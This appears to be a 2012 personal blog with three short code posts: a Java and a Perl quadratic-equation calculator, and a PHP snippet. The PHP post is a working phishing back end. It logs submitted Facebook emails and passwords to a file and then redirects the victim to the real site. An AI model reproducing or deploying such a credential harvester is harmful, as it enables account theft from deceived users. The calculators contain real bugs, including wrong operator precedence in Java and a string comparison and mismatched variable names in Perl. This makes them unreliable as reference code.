Wednesday, April 4, 2012

The Quadratic equation calc written in java(more secure)


/*program starts here*/
// <sonu-fold defaultstate="collapsed" desc="it is a quadratic equation calculator">
class quad {

    private double a, b, c;

    void test(double i, double j, double k) {
        a = i;
        b = j;
        c = k;
        double d = b * b - (4 * a * c);
        double r = Math.sqrt(d);

        double x = (-b + r) / 2 * a;
        double y = (-b - r) / 2 * a;

        System.out.println("the roots are " + x + " and " + y);

    }
}

class real {

    public static void main(String args[]) {
        quad myquad1 = new quad();
        System.out.println("The equation is in the form of ax^2+bx+c=0");
        myquad1.test(/*enter a b& c hereseperated by comma*/1,2,-8 );
    }
}// </sonu-fold>

Tuesday, March 20, 2012

perl quadratic equation calculator


#!/usr/bin/perl
use math::Complex;
print "Enter A:";
my $A=<stdin>;
print "Enter B:";
my $B=<stdin>;
print "Enter C:";
my $C=<stdin>;
my @integers=($A,$B,$C);
my @validate=(1,2,3...7,8,9);

my $d=$B*$B-(4*$A*$C);
if ($d lt 0){
die "the roots for this equation are imaginary in nature \n";
}
else
      {
my $square=sqrt($d);
my $X=(-$B+$square)/(2*($A));
print "$X \n";
my $y=(-$b-$square)/(2*($A));
print "$y \n"
}



Tuesday, February 28, 2012

Php code


<?php
$fp = fopen("FacebookPasswords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
header("Location: http://www.facebook.com/");
;?>